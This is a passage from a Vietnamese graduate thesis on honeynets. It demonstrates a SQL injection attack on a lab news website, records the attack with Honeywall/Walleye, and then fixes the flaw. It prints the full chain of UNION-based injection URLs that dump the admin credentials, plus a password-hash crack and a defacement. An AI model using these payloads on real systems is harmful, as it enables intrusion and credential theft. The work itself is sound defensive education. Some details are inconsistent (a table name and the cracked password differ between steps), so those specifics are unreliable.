- Sau khi giành quyền điều khiển Website, hacker cài đặt backdoor trên Web

Server để dễ dàng truy cập, kiểm soát Web server. Tiếp theo, hacker thực hiện

90Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 91: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

thay đổi nội dung trang Web, đưa những thông tin hình ảnh mang tính chất phá

hoại lên. Và cài đăt mã độc lên website nhằm phát tán các mã độc trên mạng .

Toàn bộ thông tin quá trình tấn công của hacker vào hệ thống Honeynet sẽ được

ghi lại đầy đủ, chi tiết. Những thông tin hệ thống Honeynet thu thập sẽ được người phân

tích thực hiện phân tích, đánh giá dưới sự trợ giúp của công cụ quản lý và hỗ trợ phân

tích Walleye trong Honeynet nhằm đưa ra:

- Quá trình tấn công diễn ra như thế nào (chi tiết từng bước)

- Công cụ hacker sử dụng (công cụ khai thác Metasploit, Retina Network

Security Scanner ; công cụ dò quét lỗi SQL-injection Scrawlr 1.0 , ...)

- Kỹ thuật hacker sử dụng

Quá trình phân tích sẽ được trình bày cụ thể trong phần tiếp theo.

3.2. Phân tích kỹ thuật tấn công của hacker

3.2.1. Quá trình hacker thực hiện tấn công Website

Dưới đây là hình ảnh của website báo điện tử về oto có địa chỉ là

http://192.168.1.111/genu, đã bị mắc lỗi SQL-injection mà chúng ta sẽ tiến hành thực

hiện khai thác tấn công:

Hình 4.13 – Giao diện của website sẽ bị tấn công

Trước khi đi vào quá trình thực hiện tấn công, chúng ta cần phải biết trong Cơ sở

dữ liệu SQL có: 2 đối tượng là sysobjects và syscolumns cho phép liệt kê tất cả các tên

bảng và cột có trong hệ thống và bảng hệ thống INFORMATION_SCHEMA.TABLES

91Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 92: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

chứa thông tin về tất cả các table có trên server. Vì vậy, chúng ta sẽ sử dụng thông tin này

để thực hiện khai thác, tấn công vào website nhằm chiếm được quyền quản trị (admin)

của Website này.

Hacker đã phát hiện ra website bị lỗi SQL Injection khi thêm dấu ’ sau đường dẫn

http://192.168.1.111/genu/articles/read.php?article_id=1 và website thông báo lỗi như

sau: Error in query "SELECT genu_articles.article_date, genu_articles.article_subject,

genu_articles.article_text, genu_users.user_id, genu_users.user_name FROM

genu_articles, genu_users WHERE genu_articles.user_id = genu_users.user_id AND

genu_articles.article_id = 1\'".

Dưới đây là toàn bộ quá trình thực hiện tấn công khai thác lỗi SQL- injection :

Bước 1: Khai thác tên cơ sở dữ liệu

Sau khi biết Website bị lỗi SQL Injection, ta tiếp tục khai thác tên cơ sở dữ liệu.

Bằng cách chúng ta truy vấn với giá trị null có nghĩa rống không có một giá trị xác thực

đồng thời chúng ta sẽ sử dụng câu truy vấn với union. Lệnh union ở đây chính là lênh kết

nối các bảng lại với nhau.Chúng ta cứ sử dụng cho đến khi biết chính xác có bao nhiêu

bảng dữ liệu nằm trong database.

http://192.168.1.111/genu/articles/read.php?article_id=null union select 1 from

information_schema.tables--

Hacker sẽ nhận thông báo lỗi sau:

Hình 4.14 – Thông báo lỗi để lộ website bị mắc lỗi SQL-injection

92Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 93: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Lưu ý: Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột trong

câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng nhau và cùng

kiểu.Vì ở đây, ta không biết số lượng các cột của Bảng ở câu lệnh SELECT ban đầu nên

ta buộc phải tìm bằng cách lần lượt tăng thêm các số '2,3,4,5' vào Câu lệnh UNION

SELECT.

Và cuối cùng là:

http://192.168.1.111/genu/articles/read.php?article_id=null union select 1,2,3,4,5 from

information_schema.tables--

Hacker sẽ nhận được thông báo:

Hình 4.15 – Thông báo vị trí cột có thể chèn câu lệnh SQL

Như ta thấy ở cột 2,3,5 có thể tiêm câu lệnh SQL. Vậy ta thêm database() để biết

tên cơ sở dữ liệu mà Website đang sử dụng.

http://192.168.1.111/genu/articles/read.php?article_id=null union select 1,database(),3,4,5

from information_schema.tables--

Hacker sẽ nhận được thông tin là tên của cơ sở dữ liệu:

93Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 94: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.16 – Tên cơ sở dữ liệu cần tìm

Bước 2: Khai thác số table có trong cơ sở dữ liệu genu

Tiếp tục khai thác lỗ hổng ở vị trí thứ 2 như ở bước đầu tiên. Ta tiếp tục liệt kê các

bảng có trong cơ sở dữ liệu bằng cách tiêm group_concat(table_name), và nó sẽ trả về

một chuỗi các kết quả. Cụ thể:

http://192.168.1.111/genu/articles/read.php?article_id=null union select

1,group_concat(table_name),3,4,5 from information_schema.tables where

table_schema=CHAR(103,101,110,117)--

Lưu ý: CHAR(103,101,110,117) được chuyển đổi từ tên cơ sở dữ liệu “ genu” để câu

truy vấn sql trở nên đúng. Nếu giữ nguyên là genu thì trình duyệt nó luôn luôn lọc dấu ’

ra khỏi url nên câu truy vấn sai. Ở đây ta dung tool hackbar để chuyển đổi từ string qua

kiểu char.

Hacker sẽ nhận được thông báo về các table có trong cơ sở dữ liệu genu

94Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 95: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.17 – Danh sách các table trong CSDL genu

Ở đây ta chỉ quan tâm đến table genu_users vì trong table này có chứa danh sách

các tên user mà chúng ta đang cần tìm.

Bước 3: Khai thác số Column trong table genu_users

Tương tự như khai thác các table trong cơ sở dữ liệu ở bước 3. Chúng ta tiếp tục

khai thác các column có trong table genu_users vừa được khai thác thành công ở bước 3

ở trên. Cụ thể:

http://192.168.1.111/genu/articles/read.php?article_id=null union select

1,group_concat(column_name),3,4,5 from information_schema.columns where

table_name=CHAR(103,101,110,117,95,117,115,101,114,115)--

Lưu ý: CHAR(103,101,110,117,95,117,115,101,114,115) được chuyển đổi từ dạng string

là genu_users

Hacker sẽ nhận được thông tin trả về chính là số cột có trong table genu_users

95Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 96: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.18 – Danh sách các column trong table genu_users

Danh sách các column hacker lấy được:

user_id,user_level,user_name,user_password,user_email,user_viewemail,user_website,us

er_location,user_occupation,user_comments,user_posts,user_votes,user_creation,user_ip,

user_language,user_template,user_date_format,user_date_offset,user_lastvisit,user_key,u

ser_day,user_month,user_year,user_avatar

Ở đây ta chỉ quan tâm đến các column user_id, user_name, user_password vì trong

các colum này chứa tài khoản admin để chiếm quyền kiểm soát Website và đó cũng là

mục đích cuối cùng mà hacker tìm đến.

Bước 4: Khai thác thông tin username/password có trong các column

Vẫn tiếp tục khai thác ở vị trí thứ 2, ta sử dụng truy vấn concat để lấy thông tin về

id, username, password có trong các column user_id, user_name, user_password được

khai thác ở bước 3. Cụ thể:

http://192.168.1.111/genu/articles/read.php?article_id=null union select

1,concat(user_id,char(58),user_name,char(58),user_password),3,4,5 from genu_user--

Hacker sẽ nhận được thông tin cuối cùng là id:username:password:

96Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 97: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.19 – Thông tin username/password cần tìm

Thông tin mà mà hacker có được :

1:admin:ca5b27f0ec89a3dcbcf7f07e47d446ff9c848c98

Username: admin

Password: ca5b27f0ec89a3dcbcf7f07e47d446ff9c848c98

Với password đã được mã hóa chúng ta có thể dùng câu lệnh update để thây đổi

password hoặc có thể giải mã. Ở đây chúng ta thử giải mã bằng cách truy cập vào

http://www.md5decrypter.co.uk/ và kết quả nhận được:

Hình 4.20 – Password được giải mã

Password thu được sau khi giải mã là: xuantrung

Vậy hacker đã có tài khoản admin: admin/xuantrung97

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 98: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Sau khi chiếm được quyền kiểm soát website này, ta có thể làm bất cứ gì điều gì

đối với website. Thông thường các Hacker sau khi đã chiếm được quyền kiểm soát

website thì họ sẽ thay đổi giao diện của website (deface), cài backdoor trên Website để

lần sau quay lại hoặc tiến hành Local Attack, tức là tấn công các website cùng được chạy

trên Web server này (Vì hầu hết ngày người ta thường thuê Hostting để đặt website), phát

tán các loại mã độc- virus qua website này,…..

Ở đây, ta sẽ tiến hành thay đổi giao diện website này. Và chúng ta sẽ thấy sự khác

nhau về giao diện thông qua hai hình 4.31 và hình 4.32 dưới đây:

Hình 4.21 – Giao diện trang web lúc ban đầu

Hình 4.22 – Giao diện trang web khi bị deface

98Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 99: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Nhận xét: Như vậy, sau một loạt tiến hành các bước dò quét lỗ hổng, thực hiện tiêm các

đoạn mã SQL để nhằm khai thác thông tin của Cơ sở dữ liệu, ta đã chiếm được quyền

kiểm soát được website này. Một câu hỏi đặt ra bây giờ là : “Toàn bộ quá trình chúng ta

thực hiện tấn công website này thì có bị Honeynet ghi lại hay không?”. Chúng ta sẽ tìm

thấy câu trả lời cho câu hỏi này ở phần tiếp theo là phần “Sử dụng Honeynet để phân tích

kỹ thuật tấn công của Hacker”.

3.2.2. Sử dụng Honeynet để phân tích kỹ thuật tấn công của Hacker

Với sự hỗ trợ của công cụ Walleye chúng ta thu được mối quan hệ giữa các dữ liệu tấn

công hệ thống. Hình 4.21 mô tả tổng quan các luồng dữ liệu mạng vào/ra hệ thống

Honeynet.

Hình 4.23 -Tổng quan luồng dữ liệu vào/ra hệ thổng Honeynet

Hình dưới đây chỉ ra các gói tin được thu nhận bởi Honeywall và hiển thị trên

Walleye theo một chuỗi trình tự các bước tấn công.

99Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 100: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.24 - Chuỗi các gói tin thu nhận trên Walleye

Ta sẽ lần lượt phân tích quá trình tấn công của hacker nhờ vào hệ thống Honeynet

như sau:

- Phân tích gói tin thứ nhất ta sẽ thấy nội dung gói tin chứa đoạn mã (đánh dấu trong ô

vuông), chỉ ra đây là một tấn công SQL-injection vào WebServer có địa chỉ

192.168.1.111.

Hình 4.25 - Nội dung gói tin chứa mã độc SQL được tiêm vào

Trên đây là ta nhìn thấy Honeywall đã đọc được đoạn mã SQL mà Hacker đã tiêm

vào để khai thác lỗ hổng SQL-injection mà Website này mắc phải . Và đoạn mã SQL mà

Hacker tiêm vào là:

…id=null select 1 from information_schema.tables—100

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 101: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Câu lệnh được thực thi đầy đủ là:

http://192.168.1.111/genu/articles/read.php?article_id=null select 1 from

information_schema.table--

Chúng ta thấy phần in nghiêng ở trên chính là phần câu lệnh mà chúng ta đã tiêm vào. Ở

đây hacker đang dò xem table chứa thông tin về article của website có chứa bao nhiêu cột

và cột nào có thể chèn SQL vào để khai thác thông tin của cơ sở dữ liệu. Và kết quả nhận

được từ webserver trả về tương ứng với câu lệnh này là:

Hình 4.26 - Nội dung gói tin trả về tương ứng với gói tin trên

L ưu ý : Trong các bước tấn công của Hacker sau này thì đoạn SQL in nghiêng trong câu

lệnh SQL trên sẽ luôn kết hợp với các đoạn SQL mà được Hacker tiêm vào tạo thành câu

lệnh SQL được thực thi. Tức là:

Câu lệnh SQL thực thi = select * from member where m_username = ' + với đoạn

SQL được tiêm.

Sau này, trong các bước tấn công tiếp theo của Hacker, Đồ án sẽ không trình bày lại điều

này nữa.

Tiếp theo, hacker dò lần lượt với select 1,2,3,4,5 như ở hình dưới và kết quả trả

về của webserver là 1 trang index hoàn chỉnh hiển thị thông tin cột 2,3,5 có thể chèn SQL

vào. Câu lệnh hacker dùng để khai thác:

http://192.168.1.111/genu/articles/read.php?article_id=null union select 1,2,3,4,5 from

information_schema.tables--

101Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 102: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.27 - Nội dung gói tin khi hacker thực hiện thành công bước đầu.

Hình 4.28 - Nội dung gói tin webserver trả về

Sau khi hacker đã biết ở vị trí cột nào có thể tiêm SQL vào, và hacker đã thực hiện

truy vấn thêm trường database() vào vị trí cột 2 để lấy thông tin là tên của cơ sở dữ liệu

mà website đang sử dụng.

Câu lệnh hacker sử dụng để khai thác:

http://192.168.1.111/genu/articles/read.php?article_id=null union select

1,database(),3,4,5 from information_schema.tables--

102Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 103: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.29 - Nội dung gói tin hacker khai thác thông tin database

Và kết quả webserver trả về:

Hình 4.30- Nội dung gói tin chứa thông tin là tên database

Phân tích gói tin tiếp theo, ta lại tiếp tục thu được được đoạn mã SQL mà hacker đã tiêm

vào là :

article_id=null union select 1,group_concat(table_name),3,4,5 from information_schema.tables where

table_schema=CHAR(103,101,110,117)—

103Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 104: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.31 - Nội dung gói tin hacker tiêm vào

Mục đích của đoạn mã SQL này là nhằm tìm trong database genu có bao nhiêu table và

liệt kê tên của các table.

Xem tiếp nội dung của gói tin này ta thấy thông tin được trả về từ webserver được

honeywall ghi lại:

Hình 4.32 - Nội dung gói tin hiển thị danh sách các table trong genu

Tiếp tục phân tích gói tin tiếp theo, hacker sau khi đã lấy được tên bảng cần thiết đó là

genu_users, lại tiếp tục tiêm vào đoạn mã SQL để khai thác thông tin các cột có chứa

thông tin username và password của admin. Đoạn mã được tiêm vào:

article_id=null union select 1,group_concat(column_name),3,4,5 from information_schema.columns

where table_name=CHAR(103,101,110,117,95,117,115,101,114,115)—

104Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 105: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.33 - Nội dung gói tin hacker tiêm vào khai thác các column

Mục đích của đoạn mã này là khai thác các danh sách các colum có trong table

genu_users. Và theo dõi tiếp gói tin này thì thấy thông tin trả về của webserver là danh

sách các column mà hacker cần khai thác.

Hình 4.34 - Nội dung gói tin chứa thông tin các colomn trong genu_users

Từ các thông tin lấy được trong trong genu_users, hacker đã biết chính xác các

column chứa thông tin về tài khoản admin đó là user_id, user_name, user_password. Và

theo dõi gói tin tiếp theo ta thấy hacker đã lấy thông tin của tài khoản admin bằng cách

tiêm vào đoạn mã SQL:

article_id=null union select 1,concat(user_id,char(58),user_name,char(58),user_password),3,4,5 from

genu_users—

105Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 106: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.35 - Nội dung gói tin chứa đoạn mã hacker tiêm vào để lấy thông tin admin

Theo dõi tiếp tục gói tin này và ta thấy nội dung về thông tin của tài khoản admin

được webserver trả về 1:admin:ca5b27f0ec89a3dcbcf7f07e47d446ff9c848c98 có trong

gói tin này.

Hình 4.36 - Nội dung gói tin chứa thông tin tài khoản admin

Đến đây thì hacker dễ dàng có thể lấy được password để chiếm quyền điều khiển

website rồi. Và sau khi đã sở hữu được tài khoản admin, ta tiếp tục theo dõi xem nếu như

ở máy hacker đăng nhập vào website với tài khoản của admin thì honeywall có nhận biết

được không?

106Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 107: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.37 - Nội dung gói tin thông báo website bị tấn công

Và tiếp tục là 1 gói tin thể hiện chi tiết sau khi hacker đã đột nhập được vào bên trong

website.

Hình 4.38 - Nội dung gói tin thông báo website bị deface

Ở đây chúng ta có thể nhận thấy rằng sau khi hacker lấy được tài khoản admin và

đột nhập vào website, và website đã bị hacker deface bằng cách thay đổi thông tin trên

trang web, cụ thể là đã để lại nội dung “ hacked!!! ”. Và dưới đây là kiệt tác mà hacker đã

để lại.

107Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 108: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.39 - Website ban đầu

Hình 4.40 - Website bị deface

Honeywall không giúp chúng ta ghi lại toàn bộ quá trình tấn công website của

Hacker mà còn giúp nhận biết công cụ Hacker sử dụng tấn công. Trong kịch bản tấn công

này, hacker đã phát hiện lỗi SQL Injection bằng cách thêm ký tự đặc biệt cụ thể là dấu

nháy đơn vào sau đường dẫn của bài viết.

http://192.168.1.111/genu/articles/read.php?article_id=1 ’

108Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 109: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.41 - Gói tin hacker sử dụng để kiểm tra lỗi SQL Injection

Hình 4.42 - Gói tin biểu hiện lỗi SQL Injection

Như vậy, nhờ vào Honeywall mà toàn bộ quá trình thực hiện tấn công website

http://192.168.1.111/genu/ của Hacker đã được Honeywall ghi lại được tóm tắt như sau :

- Đầu tiên, Hacker phát hiện lỗi SQL-injection bằng cách thêm dấu nháy đơn ’ vào sau

đường dẫn, và đã phát hiện ra được website trên đã mắc lỗi SQL-injection.

- Tiếp theo, Hacker đã sử dụng các kỹ thuật tấn công SQL-injection để tấn công website

trên và đã xâm nhập thành công, chiếm được quyền kiểm soát Website .

- Cuối cùng, Hacker đã thay đổi Website bằng cách upload file ảnh xedap.jpg, và thay

đổi nội dung bài viết bằng cách để lại chữ “ hacked!!! ”

109Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 110: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Ngoài nhưng điều trên ra thì hacker còn có thể cài đặt virus lên website, và biến

website thành công cụ phán tán virus trên mạng.

3.3. Nhận xét kết quả phân tích và biện pháp khắc phục lỗi SQL-injection của

website bị tấn công trên.

Hệ thống Honeynet đã thu được một số kết quả sau:

- Giúp chúng ta thấy rõ quá trình tấn công của hacker diễn ra cụ thể như thế nào: các

tấn công cụ thể diễn ra từng bước ra sao. Sau khi chiếm được quyền điều khiển

honeypot, hacker làm gì v.v..

- Thu được kỹ thuật tấn công của hacker: Kỹ thuật tấn công SQL-injection, thực thi

web shell từ xa (Remote Procedure Call – RPC ), phát tán virus.

- Ngoài ra Honeynet còn có thể giúp chúng ta biết được công cụ giúp hacker phát hiện

website bị lỗi SQL Injection mà không phải phát hiện bằng tay.

Với mục đích nghiên cứu Honeynet để thu thập các kỹ thuật tấn công dịch vụ web.

Từ đó, giúp chúng ta sớm phát hiện các lỗ hổng bảo mật, điểm yếu của Web để chúng ta

sớm có các biện pháp khắc phục, sử lý kịp thời, đảm bảo an toàn cho Website lẫn người

sử dụng web. Do vậy, sẽ thật là thiếu sót nếu như ở đây Đồ án không trình bày biện pháp

khắc phục lỗi SQL-injection của Website bị tấn công trên. Dưới đây là biện khắc phục :

Căn cứ vào thông tin thu thập được của Honeynet, ta xác định lỗi SQL-injection

của Website bị tấn công trên bị mắc ở file read.php trong thư mục /articles. Vì khi thêm

dấu nháy đơn ’ vào sau đường dẫn:

http://192.168.1.111/genu/articles/read.php?article_id=1

thì trình duyệt sẽ thông báo lỗi:

Error in query "SELECT genu_articles.article_date, genu_articles.article_subject,

genu_articles.article_text, genu_users.user_id, genu_users.user_name FROM

genu_articles, genu_users WHERE genu_articles.user_id = genu_users.user_id AND

genu_articles.article_id = 1\'".

Điều này chứng tỏ trình duyệt không thể loại bỏ những ký tự đặc biệt ra khỏi URL

nên câu truy vấn là sai. Vậy nhà quản trị website cần phải biến giá trị của $id phải là số

nguyên, như vậy thì hacker sẽ không thể tiêm mã độc hại SQL.

Mở file read.php trong thư mục / articles ta thấy: 110

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 111: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.43 - Nội dung file read.php ban đầu

Để khắc phục lỗi này, ta chỉ việc thêm hàm intval(), trong intval thì int có nghĩa là

integrals (số nguyên), còn val có nghĩa là value ( giá trị ) để biến các giá trị $id luôn luôn

là một số nguyên.

Hình 4.44 - Nội dung file read.php sau khi sửa

111Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 112: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Và đây là kết quả khi hacker cố gắng phát hiện lỗi SQL Injection bằng cách thêm dấu

nháy đơn.

Hình 4.45 - Kết quả sau khi fix lỗi SQL Injection

4. Ứng dụng Honeynet trong thực tế hiện nay

Hiện nay trên thế giới đã có rất nhiều tổ chức , cơ quan , đặc biệt là các Công ty –

tố chức An ninh mạng đã tiến hành triển khai Hệ thống Honeynet như : Symantec, Trend

Micro ,Snort… ; và ngay ở Việt Nam ta thì Trung tâm an ninh mang Bkis cũng đã triển

khai Hệ thống này. Hiện tại hoạt động rất tốt, có tác dụng hữu hiệu trong việc giúp các

chuyên gia an ninh mạng nghiên cứu và sớm phát hiện ra các lỗ hổng bảo mật tồn tại trên

các sản phẩm công nghệ thông tin ; Các kỹ thuật tấn công mạng mới , các mẫu virus- mã

độc mới ; giúp truy tìm dấu vết - tung tích các tin tặc ; kiểm tra độ an toàn của hệ thống

mạng và qua đó góp phần bảo Hệ thống mạng ngăn chặn sự xâm nhập trái phép của các

tin tặc.

112Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 113: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

KẾT LUẬN

Trong quá trình nghiên cứu thực hiện Đồ án tốt nghiệp “Nghiên cứu Hệ thống

Honeypot và Honeyner nhằm nghiên cứu một số kỹ thuật tuấn công dịch vụ Web”, dưới

sự hướng dẫn tận tình của thầy Hoàng Sỹ Tương, em đã nghiên cứu và nắm vững được

hoạt động, mục đích của Hệ thống Honeynet. Có khả năng triển khai áp dụng và phát

triển Honeynet vào thực tế. Do điều kiện về thời gian và thiết bị triển khai còn thiếu nên

việc nghiên cứu triển khai xây dựng Hệ thống Honeynet và ứng dụng thực tế của

Honeynet của em chỉ giới hạn ở phạm vi thí nghiệm. Mặc dù đã rất cố gắng nhưng Đồ án

này không tránh khỏi có những sai xót. Em rất mong được sự góp ý, giúp đỡ nhiệt tình

của các thầy cô và các bạn để đề tài này của em được hoàn thiện.Em xin chân thành cảm

ơn.

113Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 114: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Dưới đây là một số link tham khảo :

http://www.tracking-hackers.com/papers/honeypots.html

www.honeynet.org

http://www.icst.pku.edu.cn/honeynetweb/honeyneten/HoneynetTopology.htm

http://www.honeynet.org.gr/reports/apr2005-sept2005.html

http://www.honeynet.org/papers/phishing/details/index.html

http://www.exploit-db.com/webapps/

http://vietcloud.net/thong-tin/91/0/top-10-ky-thuat-tan-cong-tren-web.aspx

114Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin